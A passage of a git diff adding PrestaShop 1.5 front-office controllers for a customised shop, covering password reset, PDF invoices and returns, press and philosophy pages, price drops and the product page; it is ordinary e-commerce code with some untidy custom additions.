$carriers, + 'checked' => $checked, + 'delivery_option_list' => $delivery_option_list, + 'delivery_option' => $this->context->cart->getDeliveryOption(null, false) + )) + ); + + Cart::addExtraCarriers($vars); + + $this->context->smarty->assign($vars); + } + + protected function _assignWrappingAndTOS() + { + // Wrapping fees + $wrapping_fees = $this->context->cart->getGiftWrappingPrice(false); + $wrapping_fees_tax_inc = $wrapping_fees = $this->context->cart->getGiftWrappingPrice(); + + // TOS + $cms = new CMS(Configuration::get('PS_CONDITIONS_CMS_ID'), $this->context->language->id); + $this->link_conditions = $this->context->link->getCMSLink($cms, $cms->link_rewrite, false); + if (!strpos($this->link_conditions, '?')) + $this->link_conditions .= '?content_only=1'; + else + $this->link_conditions .= '&content_only=1'; + + $free_shipping = false; + foreach ($this->context->cart->getCartRules() as $rule) + { + if ($rule['free_shipping'] && !$rule['carrier_restriction']) + { + $free_shipping = true; + break; + } + } + $this->context->smarty->assign(array( + 'free_shipping' => $free_shipping, + 'checkedTOS' => (int)($this->context->cookie->checkedTOS), + 'recyclablePackAllowed' => (int)(Configuration::get('PS_RECYCLABLE_PACK')), + 'giftAllowed' => (int)(Configuration::get('PS_GIFT_WRAPPING')), + 'cms_id' => (int)(Configuration::get('PS_CONDITIONS_CMS_ID')), + 'conditions' => (int)(Configuration::get('PS_CONDITIONS')), + 'link_conditions' => $this->link_conditions, + 'recyclable' => (int)($this->context->cart->recyclable), + 'delivery_option_list' => $this->context->cart->getDeliveryOptionList(), + 'carriers' => $this->context->cart->simulateCarriersOutput(), + 'checked' => $this->context->cart->simulateCarrierSelectedOutput(), + 'address_collection' => $this->context->cart->getAddressCollection(), + 'delivery_option' => $this->context->cart->getDeliveryOption(null, false), + 'gift_wrapping_price' => (float)$wrapping_fees, + 'total_wrapping_cost' => Tools::convertPrice($wrapping_fees_tax_inc, $this->context->currency), + 'total_wrapping_tax_exc_cost' => Tools::convertPrice($wrapping_fees, $this->context->currency))); + } + + protected function _assignPayment() + { + $this->context->smarty->assign(array( + 'HOOK_TOP_PAYMENT' => Hook::exec('displayPaymentTop'), + 'HOOK_PAYMENT' => Hook::exec('displayPayment'), + )); + } + + /** + * Set id_carrier to 0 (no shipping price) + */ + protected function setNoCarrier() + { + $this->context->cart->setDeliveryOption(null); + $this->context->cart->update(); + } + + /** + * Decides what the default carrier is and update the cart with it + * + * @todo this function must be modified - id_carrier is now delivery_option + * + * @param array $carriers + * + * @deprecated since 1.5.0 + * + * @return number the id of the default carrier + */ + protected function setDefaultCarrierSelection($carriers) + { + if (!$this->context->cart->getDeliveryOption(null, true)) + $this->context->cart->setDeliveryOption($this->context->cart->getDeliveryOption()); + } + + /** + * Decides what the default carrier is and update the cart with it + * + * @param array $carriers + * + * @deprecated since 1.5.0 + * + * @return number the id of the default carrier + */ + protected function _setDefaultCarrierSelection($carriers) + { + $this->context->cart->id_carrier = Carrier::getDefaultCarrierSelection($carriers, (int)$this->context->cart->id_carrier); + + if ($this->context->cart->update()) + return $this->context->cart->id_carrier; + return 0; + } + +} + diff --git a/controllers/front/PasswordController.php b/controllers/front/PasswordController.php new file mode 100755 index 0000000..3b94b79 --- /dev/null +++ b/controllers/front/PasswordController.php @@ -0,0 +1,118 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PasswordControllerCore extends FrontController +{ + public $php_self = 'password'; + + /** + * Start forms process + * @see FrontController::postProcess() + */ + public function postProcess() + { + if (Tools::isSubmit('email')) + { + if (!($email = Tools::getValue('email')) || !Validate::isEmail($email)) + $this->errors[] = Tools::displayError('Invalid email address.'); + else + { + $customer = new Customer(); + $customer->getByemail($email); + if (!Validate::isLoadedObject($customer)) + $this->errors[] = Tools::displayError('There is no account registered for this email address.'); + elseif (!$customer->active) + $this->errors[] = Tools::displayError('You cannot regenerate the password for this account.'); + elseif ((strtotime($customer->last_passwd_gen.'+'.(int)($min_time = Configuration::get('PS_PASSWD_TIME_FRONT')).' minutes') - time()) > 0) + $this->errors[] = sprintf(Tools::displayError('You can regenerate your password only every %d minute(s)'), (int)$min_time); + else + { + $mail_params = array( + '{email}' => $customer->email, + '{lastname}' => $customer->lastname, + '{firstname}' => $customer->firstname, + '{url}' => $this->context->link->getPageLink('password', true, null, 'token='.$customer->secure_key.'&id_customer='.(int)$customer->id) + ); + if (Mail::Send($this->context->language->id, 'password_query', Mail::l('Password query confirmation'), $mail_params, $customer->email, $customer->firstname.' '.$customer->lastname)) + $this->context->smarty->assign(array('confirmation' => 2, 'email' => $customer->email)); + else + $this->errors[] = Tools::displayError('An error occurred while sending the email.'); + } + } + } + elseif (($token = Tools::getValue('token')) && ($id_customer = (int)Tools::getValue('id_customer'))) + { + $email = Db::getInstance()->getValue('SELECT `email` FROM '._DB_PREFIX_.'customer c WHERE c.`secure_key` = \''.pSQL($token).'\' AND c.id_customer = '.(int)$id_customer); + if ($email) + { + $customer = new Customer(); + $customer->getByemail($email); + if (!Validate::isLoadedObject($customer)) + $this->errors[] = Tools::displayError('Customer account not found'); + elseif (!$customer->active) + $this->errors[] = Tools::displayError('You cannot regenerate the password for this account.'); + elseif ((strtotime($customer->last_passwd_gen.'+'.(int)Configuration::get('PS_PASSWD_TIME_FRONT').' minutes') - time()) > 0) + Tools::redirect('index.php?controller=authentication&error_regen_pwd'); + else + { + $customer->passwd = Tools::encrypt($password = Tools::passwdGen(MIN_PASSWD_LENGTH, 'RANDOM')); + $customer->last_passwd_gen = date('Y-m-d H:i:s', time()); + if ($customer->update()) + { + Hook::exec('actionPasswordRenew', array('customer' => $customer, 'password' => $password)); + $mail_params = array( + '{email}' => $customer->email, + '{lastname}' => $customer->lastname, + '{firstname}' => $customer->firstname, + '{passwd}' => $password + ); + if (Mail::Send($this->context->language->id, 'password', Mail::l('Your new password'), $mail_params, $customer->email, $customer->firstname.' '.$customer->lastname)) + $this->context->smarty->assign(array('confirmation' => 1, 'email' => $customer->email)); + else + $this->errors[] = Tools::displayError('An error occurred while sending the email.'); + } + else + $this->errors[] = Tools::displayError('An error occurred with your account, which prevents us from sending you a new password. Please report your this issue using the contact form.'); + } + } + else + $this->errors[] = Tools::displayError('We cannot regenerate your password with the data you\'ve submitted.'); + } + elseif (Tools::getValue('token') || Tools::getValue('id_customer')) + $this->errors[] = Tools::displayError('We cannot regenerate your password with the data you\'ve submitted.'); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + $this->setTemplate(_PS_THEME_DIR_.'password.tpl'); + } +} + diff --git a/controllers/front/PdfInvoiceController.php b/controllers/front/PdfInvoiceController.php new file mode 100755 index 0000000..9c39b30 --- /dev/null +++ b/controllers/front/PdfInvoiceController.php @@ -0,0 +1,85 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PdfInvoiceControllerCore extends FrontController +{ + protected $display_header = false; + protected $display_footer = false; + + public $content_only = true; + + protected $template; + public $filename; + + public function postProcess() + { + if (!$this->context->customer->isLogged() && !Tools::getValue('secure_key')) + Tools::redirect('index.php?controller=authentication&back=pdf-invoice'); + + if (!(int)Configuration::get('PS_INVOICE')) + die(Tools::displayError('Invoices are disabled in this shop.')); + + $id_order = (int)Tools::getValue('id_order'); + if (Validate::isUnsignedId($id_order)) + $order = new Order((int)$id_order); + + if (!isset($order) || !Validate::isLoadedObject($order)) + die(Tools::displayError('The invoice was not found.')); + + if ((isset($this->context->customer->id) && $order->id_customer != $this->context->customer->id) || (Tools::isSubmit('secure_key') && $order->secure_key != Tools::getValue('secure_key'))) + die(Tools::displayError('The invoice was not found.')); + + if (!OrderState::invoiceAvailable($order->getCurrentState()) && !$order->invoice_number) + die(Tools::displayError('No invoice is available.')); + + $this->order = $order; + } + + public function display() + { + $order_invoice_list = $this->order->getInvoicesCollection(); + Hook::exec('actionPDFInvoiceRender', array('order_invoice_list' => $order_invoice_list)); + + $pdf = new PDF($order_invoice_list, PDF::TEMPLATE_INVOICE, $this->context->smarty, $this->context->language->id); + $pdf->render(); + } + + + /** + * Returns the invoice template associated to the country iso_code + * @param string $iso_user + */ + public function getTemplate($iso_country) + { + $template = _PS_THEME_PDF_DIR_.'/invoice.tpl'; + + $iso_template = _PS_THEME_PDF_DIR_.'/invoice.'.$iso_country.'.tpl'; + if (file_exists($iso_template)) + $template = $iso_template; + + return $template; + } +} \ No newline at end of file diff --git a/controllers/front/PdfOffreFideliteController.php b/controllers/front/PdfOffreFideliteController.php new file mode 100755 index 0000000..25483a6 --- /dev/null +++ b/controllers/front/PdfOffreFideliteController.php @@ -0,0 +1,85 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PdfOffreFideliteControllerCore extends FrontController +{ + protected $display_header = false; + protected $display_footer = false; + + public $content_only = true; + + protected $template; + public $filename; + + public function postProcess() + { + if (!$this->context->customer->isLogged() && !Tools::getValue('secure_key')) + Tools::redirect('index.php?controller=authentication&back=pdf-invoice'); + + if (!(int)Configuration::get('PS_INVOICE')) + die(Tools::displayError('Invoices are disabled in this shop.')); + + $id_order = (int)Tools::getValue('id_order'); + if (Validate::isUnsignedId($id_order)) + $order = new Order((int)$id_order); + + if (!isset($order) || !Validate::isLoadedObject($order)) + die(Tools::displayError('The invoice was not found.')); + + if ((isset($this->context->customer->id) && $order->id_customer != $this->context->customer->id) || (Tools::isSubmit('secure_key') && $order->secure_key != Tools::getValue('secure_key'))) + die(Tools::displayError('The invoice was not found.')); + + if (!OrderState::invoiceAvailable($order->getCurrentState()) && !$order->invoice_number) + die(Tools::displayError('No invoice is available.')); + + $this->order = $order; + } + + public function display() + { + $order_invoice_list = $this->order->getInvoicesCollection(); + Hook::exec('actionPDFInvoiceRender', array('order_invoice_list' => $order_invoice_list)); + + $pdf = new PDF($order_invoice_list, PDF::TEMPLATE_INVOICE, $this->context->smarty, $this->context->language->id); + $pdf->render(); + } + + + /** + * Returns the invoice template associated to the country iso_code + * @param string $iso_user + */ + public function getTemplate($iso_country) + { + $template = _PS_THEME_PDF_DIR_.'/invoice.tpl'; + + $iso_template = _PS_THEME_PDF_DIR_.'/invoice.'.$iso_country.'.tpl'; + if (file_exists($iso_template)) + $template = $iso_template; + + return $template; + } +} \ No newline at end of file diff --git a/controllers/front/PdfOrderReturnController.php b/controllers/front/PdfOrderReturnController.php new file mode 100755 index 0000000..11b1733 --- /dev/null +++ b/controllers/front/PdfOrderReturnController.php @@ -0,0 +1,55 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PdfOrderReturnControllerCore extends FrontController +{ + protected $display_header = false; + protected $display_footer = false; + + public function postProcess() + { + if (!$this->context->customer->isLogged()) + Tools::redirect('index.php?controller=authentication&back=order-follow'); + + if (Tools::getValue('id_order_return') && Validate::isUnsignedId(Tools::getValue('id_order_return'))) + $this->orderReturn = new OrderReturn(Tools::getValue('id_order_return')); + + if (!isset($this->orderReturn) || !Validate::isLoadedObject($this->orderReturn)) + die(Tools::displayError('Order return not found.')); + else if ($this->orderReturn->id_customer != $this->context->customer->id) + die(Tools::displayError('Order return not found.')); + else if ($this->orderReturn->state < 2) + die(Tools::displayError('Order return not confirmed.')); + + } + + public function display() + { + $pdf = new PDF($this->orderReturn, PDF::TEMPLATE_ORDER_RETURN, $this->context->smarty); + $pdf->render(); + } +} + diff --git a/controllers/front/PdfOrderSlipController.php b/controllers/front/PdfOrderSlipController.php new file mode 100755 index 0000000..7eb597e --- /dev/null +++ b/controllers/front/PdfOrderSlipController.php @@ -0,0 +1,57 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PdfOrderSlipControllerCore extends FrontController +{ + protected $display_header = false; + protected $display_footer = false; + + protected $order_slip; + + + public function postProcess() + { + if (!$this->context->customer->isLogged()) + Tools::redirect('index.php?controller=authentication&back=order-follow'); + + if (isset($_GET['id_order_slip']) && Validate::isUnsignedId($_GET['id_order_slip'])) + $this->order_slip = new OrderSlip($_GET['id_order_slip']); + + if (!isset($this->order_slip) || !Validate::isLoadedObject($this->order_slip)) + die(Tools::displayError('Order return not found.')); + + else if ($this->order_slip->id_customer != $this->context->customer->id) + die(Tools::displayError('Order return not found.')); + + } + + public function display() + { + $pdf = new PDF($this->order_slip, PDF::TEMPLATE_ORDER_SLIP, $this->context->smarty); + $pdf->render(); + } +} + diff --git a/controllers/front/PhilosophieController.php b/controllers/front/PhilosophieController.php new file mode 100755 index 0000000..bf15164 --- /dev/null +++ b/controllers/front/PhilosophieController.php @@ -0,0 +1,65 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PhilosophieControllerCore extends FrontController +{ + public $php_self = 'philosophie'; + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + + + + + public function initContent() + { + + // $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; +// echo $id_shop; +// die(); + $philosphie=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_devspephilosophie_slides` as id_slide, + hssl.*, + hss.`position`, + hss.`active` + FROM '._DB_PREFIX_.'devspephilosophie hs + LEFT JOIN '._DB_PREFIX_.'devspephilosophie_slides hss ON (hs.id_devspephilosophie_slides = hss.id_devspephilosophie_slides) + LEFT JOIN '._DB_PREFIX_.'devspephilosophie_slides_lang hssl ON (hss.id_devspephilosophie_slides = hssl.id_devspephilosophie_slides) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' ').' + ORDER BY hss.position'); + $this->context->smarty->assign('philo',$philosphie); + + $this->setTemplate(_PS_THEME_DIR_.'philosophie.tpl'); + + parent::initContent(); + } +} diff --git a/controllers/front/PresseController.php b/controllers/front/PresseController.php new file mode 100755 index 0000000..d6a20d4 --- /dev/null +++ b/controllers/front/PresseController.php @@ -0,0 +1,179 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PresseControllerCore extends FrontController +{ + public $php_self = 'presse'; + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + + + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'presse.css'); + $this->addJS(_THEME_JS_DIR_.'presse.js'); + } + + public function getItemsProductsOLD() + { + if(Tools::getValue('id_product')) + $id_product=Tools::getValue('id_product'); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT distinct(hss.`id_product`), pl.name, pl.link_rewrite + FROM '._DB_PREFIX_.'devspepresse_items hss + LEFT JOIN '._DB_PREFIX_.'product_lang pl ON (hss.id_product = pl.id_product) + WHERE (id_shop = '.(int)$id_shop.') + AND pl.id_lang = '.(int)$id_lang.' + ORDER BY pl.name'); + } + public function getItemsProducts($active = null) + { + if(Tools::getValue('id_product')) + $id_product=Tools::getValue('id_product'); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + $products_selected=$this->getItemsProductsOLD(); + $produits=array(); + foreach($products_selected as $produit){ + if(!in_array($produit['id_product'],$produits)){ + $produits[]=$produit['id_product']; + } + } + // print_r($produits); + $produits_tries=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT distinct(pl.id_product),cp.id_category,cl.name as category_name,pl.id_lang,cl.id_lang as category_lang,pl.name,cp.position + FROM '._DB_PREFIX_.'product_lang pl + left join '._DB_PREFIX_.'category_product cp on(cp.id_product=pl.id_product) + left join '._DB_PREFIX_.'category_lang cl on(cl.id_category=cp.id_category) + WHERE pl.id_lang = '.(int)$id_lang.' + and cl.id_lang='.(int)$id_lang.' + and (cl.id_category=3 + or cl.id_category=4) + ORDER BY cp.id_category asc,cp.position asc'); + // print_r($produits_tries); + $new_products=array(); + foreach($produits_tries as &$produit){ + if(in_array($produit['id_product'],$produits)) + $new_products[]=$produit; + } + + return $new_products; + // pl.id_product + + } + public function getItemsPresse($max=6,$page=1) + { + if($page==0)$page=1; + $min=($page-1)*$max; + if(Tools::getValue('id_product')) + $id_product=Tools::getValue('id_product'); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_item`, + hss.`position`, + hss.`id_product`, + hss.`active`, + hssl.`title`, + hssl.`description`, + hssl.`url`, + hssl.`legend`, + hssl.`image` + FROM '._DB_PREFIX_.'devspepresse hs + LEFT JOIN '._DB_PREFIX_.'devspepresse_items hss ON (hs.id_item = hss.id_item) + LEFT JOIN '._DB_PREFIX_.'devspepresse_items_lang hssl ON (hss.id_item = hssl.id_item) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang.' + AND hss.`active` = 1 + '.(isset($id_product)?' AND hss.`id_product` = '.(int)$id_product : '').' + ORDER BY hss.position + limit '.$min.','.$max.' + '); + } + + public function getItemsPresseMax($nb=6) + { + if(Tools::getValue('id_product')) + $id_product=Tools::getValue('id_product'); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + $max=count(Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_item`, + hss.`position`, + hss.`id_product`, + hss.`active`, + hssl.`title`, + hssl.`description`, + hssl.`url`, + hssl.`legend`, + hssl.`image` + FROM '._DB_PREFIX_.'devspepresse hs + LEFT JOIN '._DB_PREFIX_.'devspepresse_items hss ON (hs.id_item = hss.id_item) + LEFT JOIN '._DB_PREFIX_.'devspepresse_items_lang hssl ON (hss.id_item = hssl.id_item) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang.' + AND hss.`active` = 1 + '.(isset($id_product)?' AND hss.`id_product` = '.(int)$id_product : '').' + ORDER BY hss.position + ')); + $nbitems=round($max/$nb); + if($nbitems==0) + $nbitems=1; + return $nbitems; + } + + public function initContent() + { + + // $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + $this->context->smarty->assign('press',$this->getItemsPresse(6,Tools::getValue('page'))); + $this->context->smarty->assign('nbPage',$this->getItemsPresseMax()); + $this->context->smarty->assign('pressProducts',$this->getItemsProducts()); + if(Tools::getValue('id_product')) + $this->context->smarty->assign('idProduct',Tools::getValue('id_product')); + else + $this->context->smarty->assign('idProduct',0); + + if(Tools::getValue('page')) + $this->context->smarty->assign('page',Tools::getValue('page')); + else + $this->context->smarty->assign('page',1); + + $this->setTemplate(_PS_THEME_DIR_.'presse.tpl'); + + parent::initContent(); + } +} diff --git a/controllers/front/PricesDropController.php b/controllers/front/PricesDropController.php new file mode 100755 index 0000000..d287157 --- /dev/null +++ b/controllers/front/PricesDropController.php @@ -0,0 +1,63 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PricesDropControllerCore extends FrontController +{ + public $php_self = 'prices-drop'; + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'product_list.css'); + + if (Configuration::get('PS_COMPARATOR_MAX_ITEM')) + $this->addJS(_THEME_JS_DIR_.'products-comparison.js'); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $this->productSort(); + $nbProducts = Product::getPricesDrop($this->context->language->id, null, null, true); + $this->pagination($nbProducts); + + $this->context->smarty->assign(array( + 'products' => Product::getPricesDrop($this->context->language->id, (int)$this->p - 1, (int)$this->n, false, $this->orderBy, $this->orderWay), + 'add_prod_display' => Configuration::get('PS_ATTRIBUTE_CATEGORY_DISPLAY'), + 'nbProducts' => $nbProducts, + 'homeSize' => Image::getSize(ImageType::getFormatedName('home')), + 'comparator_max_item' => Configuration::get('PS_COMPARATOR_MAX_ITEM') + )); + + $this->setTemplate(_PS_THEME_DIR_.'prices-drop.tpl'); + } +} + diff --git a/controllers/front/ProductController.php b/controllers/front/ProductController.php new file mode 100755 index 0000000..e70c832 --- /dev/null +++ b/controllers/front/ProductController.php @@ -0,0 +1,660 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ProductControllerCore extends FrontController +{ + public $php_self = 'product'; + /** + * @var Product + */ + protected $product; + + /** + * @var Category + */ + protected $category; + + public function setMedia() + { + parent::setMedia(); + if (count($this->errors)) + return ; + + if ($this->context->getMobileDevice() == false) + { + $this->addCSS(_THEME_CSS_DIR_.'product.css?v=1'); + $this->addCSS(_PS_CSS_DIR_.'jquery.fancybox-1.3.4.css', 'screen'); + $this->addJqueryPlugin(array('fancybox', 'idTabs', 'scrollTo', 'serialScroll')); + $this->addJS(array( + _THEME_JS_DIR_.'tools.js', + _THEME_JS_DIR_.'product.js' + )); + } + else + { + $this->addCSS(_THEME_CSS_DIR_.'product.css'); + $this->addJqueryPlugin(array('scrollTo', 'serialScroll')); + $this->addJS(array( + _THEME_JS_DIR_.'tools.js', + _THEME_MOBILE_JS_DIR_.'product.js', + _THEME_MOBILE_JS_DIR_.'jquery.touch-gallery.js' + )); + } + + if (Configuration::get('PS_DISPLAY_JQZOOM') == 1) + $this->addJqueryPlugin('jqzoom'); + } + + public function canonicalRedirection($canonical_url = '') + { + if (Validate::isLoadedObject($this->product)) + parent::canonicalRedirection($this->context->link->getProductLink($this->product)); + } + + /** + * Initialize product controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + + if ($id_product = (int)Tools::getValue('id_product')) + $this->product = new Product($id_product, true, $this->context->language->id, $this->context->shop->id); + + if (!Validate::isLoadedObject($this->product)) + { + header('HTTP/1.1 404 Not Found'); + header('Status: 404 Not Found'); + $this->errors[] = Tools::displayError('Product not found'); + } + else + { + $this->canonicalRedirection(); + /* + * If the product is associated to the shop + * and is active or not active but preview mode (need token + file_exists) + * allow showing the product + * In all the others cases => 404 "Product is no longer available" + */ + if (!$this->product->isAssociatedToShop() || !$this->product->active) + { + if (Tools::getValue('adtoken') == Tools::getAdminToken('AdminProducts'.(int)Tab::getIdFromClassName('AdminProducts').(int)Tools::getValue('id_employee'))) + { + // If the product is not active, it's the admin preview mode + $this->context->smarty->assign('adminActionDisplay', true); + } + else + { + $this->context->smarty->assign('adminActionDisplay', false); + if ($this->product->id_product_redirected == $this->product->id) + $this->product->redirect_type = '404'; + + switch ($this->product->redirect_type) + { + case '301': + header('HTTP/1.1 301 Moved Permanently'); + header('Location: '.$this->context->link->getProductLink($this->product->id_product_redirected)); + break; + case '302': + header('HTTP/1.1 302 Moved Temporarily'); + header('Cache-Control: no-cache'); + header('Location: '.$this->context->link->getProductLink($this->product->id_product_redirected)); + break; + case '404': + default: + header('HTTP/1.1 404 Not Found'); + header('Status: 404 Not Found'); + $this->errors[] = Tools::displayError('This product is no longer available.'); + break; + } + } + } + elseif (!$this->product->checkAccess(isset($this->context->customer) ? $this->context->customer->id : 0)) + { + header('HTTP/1.1 403 Forbidden'); + header('Status: 403 Forbidden'); + $this->errors[] = Tools::displayError('You do not have access to this product.'); + } + else + { + // Load category + if (isset($_SERVER['HTTP_REFERER']) + && strstr($_SERVER['HTTP_REFERER'], Tools::getHttpHost()) // Assure us the previous page was one of the shop + && preg_match('!^(.*)\/([0-9]+)\-(.*[^\.])|(.*)id_category=([0-9]+)(.*)$!', $_SERVER['HTTP_REFERER'], $regs)) + { + // If the previous page was a category and is a parent category of the product use this category as parent category + if (isset($regs[2]) && is_numeric($regs[2])) + { + if (Product::idIsOnCategoryId((int)$this->product->id, array('0' => array('id_category' => (int)$regs[2])))) + $this->category = new Category($regs[2], (int)$this->context->cookie->id_lang); + } + else if (isset($regs[5]) && is_numeric($regs[5])) + { + if (Product::idIsOnCategoryId((int)$this->product->id, array('0' => array('id_category' => (int)$regs[5])))) + $this->category = new Category($regs[5], (int)$this->context->cookie->id_lang); + } + } + else + // Set default product category + $this->category = new Category($this->product->id_category_default, (int)$this->context->cookie->id_lang); + } + } + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + if (!$this->errors) + { + if (Pack::isPack((int)$this->product->id) && !Pack::isInStock((int)$this->product->id)) + $this->product->quantity = 0; + + $this->product->description = $this->transformDescriptionWithImg($this->product->description); + + // Assign to the template the id of the virtual product. "0" if the product is not downloadable. + $this->context->smarty->assign('virtual', ProductDownload::getIdFromIdProduct((int)$this->product->id)); + + $this->context->smarty->assign('customizationFormTarget', Tools::safeOutput(urldecode($_SERVER['REQUEST_URI']))); + + if (Tools::isSubmit('submitCustomizedDatas')) + { + // If cart has not been saved, we need to do it so that customization fields can have an id_cart + // We check that the cookie exists first to avoid ghost carts + if (!$this->context->cart->id && isset($_COOKIE[$this->context->cookie->getName()])) + { + $this->context->cart->add(); + $this->context->cookie->id_cart = (int)$this->context->cart->id; + } + $this->pictureUpload(); + $this->textRecord(); + $this->formTargetFormat(); + } + else if (Tools::getIsset('deletePicture') && !$this->context->cart->deleteCustomizationToProduct($this->product->id, Tools::getValue('deletePicture'))) + $this->errors[] = Tools::displayError('An error occurred while deleting the selected picture.'); + + + $pictures = array(); + $text_fields = array(); + if ($this->product->customizable) + { + $files = $this->context->cart->getProductCustomization($this->product->id, Product::CUSTOMIZE_FILE, true); + foreach ($files as $file) + $pictures['pictures_'.$this->product->id.'_'.$file['index']] = $file['value']; + + $texts = $this->context->cart->getProductCustomization($this->product->id, Product::CUSTOMIZE_TEXTFIELD, true); + + foreach ($texts as $text_field) + $text_fields['textFields_'.$this->product->id.'_'.$text_field['index']] = str_replace('
', "\n", $text_field['value']); + } + + $this->context->smarty->assign(array( + 'pictures' => $pictures, + 'textFields' => $text_fields)); + + // Assign template vars related to the category + execute hooks related to the category + $this->assignCategory(); + // Assign template vars related to the price and tax + $this->assignPriceAndTax(); + + // Assign template vars related to the images + $this->assignImages(); + // Assign attribute groups to the template + $this->assignAttributesGroups(); + + // Assign attributes combinations to the template + $this->assignAttributesCombinations(); + + // Pack management + $pack_items = $this->product->cache_is_pack ? Pack::getItemTable($this->product->id, $this->context->language->id, true) : array(); + $this->context->smarty->assign('packItems', $pack_items); + $this->context->smarty->assign('packs', Pack::getPacksTable($this->product->id, $this->context->language->id, true, 1)); + + if (isset($this->category->id) && $this->category->id) + $return_link = Tools::safeOutput($this->context->link->getCategoryLink($this->category)); + else + $return_link = 'javascript: history.back();'; + + $this->context->smarty->assign(array( + 'stock_management' => Configuration::get('PS_STOCK_MANAGEMENT'), + 'customizationFields' => ($this->product->customizable) ? $this->product->getCustomizationFields($this->context->language->id) : false, + 'accessories' => $this->product->getAccessories($this->context->language->id), + 'return_link' => $return_link, + 'product' => $this->product, + 'product_manufacturer' => new Manufacturer((int)$this->product->id_manufacturer, $this->context->language->id), + 'token' => Tools::getToken(false), + 'features' => $this->product->getFrontFeatures($this->context->language->id), + 'attachments' => (($this->product->cache_has_attachments) ? $this->product->getAttachments($this->context->language->id) : array()), + 'allow_oosp' => $this->product->isAvailableWhenOutOfStock((int)$this->product->out_of_stock), + 'last_qties' => (int)Configuration::get('PS_LAST_QTIES'), + 'HOOK_EXTRA_LEFT' => Hook::exec('displayLeftColumnProduct'), + 'HOOK_EXTRA_RIGHT' => Hook::exec('displayRightColumnProduct'), + 'HOOK_PRODUCT_OOS' => Hook::exec('actionProductOutOfStock', array('product' => $this->product)), + 'HOOK_PRODUCT_ACTIONS' => Hook::exec('displayProductButtons', array('product' => $this->product)), + 'HOOK_PRODUCT_TAB' => Hook::exec('displayProductTab', array('product' => $this->product)), + 'HOOK_PRODUCT_TAB_CONTENT' => Hook::exec('displayProductTabContent', array('product' => $this->product)), + 'display_qties' => (int)Configuration::get('PS_DISPLAY_QTIES'), + 'display_ht' => !Tax::excludeTaxeOption(), + 'currencySign' => $this->context->currency->sign, + 'currencyRate' => $this->context->currency->conversion_rate, + 'currencyFormat' => $this->context->currency->format, + 'currencyBlank' => $this->context->currency->blank, + 'jqZoomEnabled' => Configuration::get('PS_DISPLAY_JQZOOM'), + 'ENT_NOQUOTES' => ENT_NOQUOTES, + 'outOfStockAllowed' => (int)Configuration::get('PS_ORDER_OUT_OF_STOCK') + )); + } + + $this->context->smarty->assign('errors', $this->errors); + $this->setTemplate(_PS_THEME_DIR_.'product.tpl'); + } + + /** + * Assign price and tax to the template + */ + protected function assignPriceAndTax() + { + $id_customer = (isset($this->context->customer) ? (int)$this->context->customer->id : 0); + $id_group = (int)Group::getCurrent()->id; + $id_country = (int)$id_customer ? Customer::getCurrentCountry($id_customer) : Configuration::get('PS_COUNTRY_DEFAULT'); + + $group_reduction = GroupReduction::getValueForProduct($this->product->id, $id_group); + if ($group_reduction == 0) + $group_reduction = Group::getReduction((int)$this->context->cookie->id_customer) / 100; + + // Tax + $tax = (float)$this->product->getTaxesRate(new Address((int)$this->context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')})); + $this->context->smarty->assign('tax_rate', $tax); + + $product_price_with_tax = 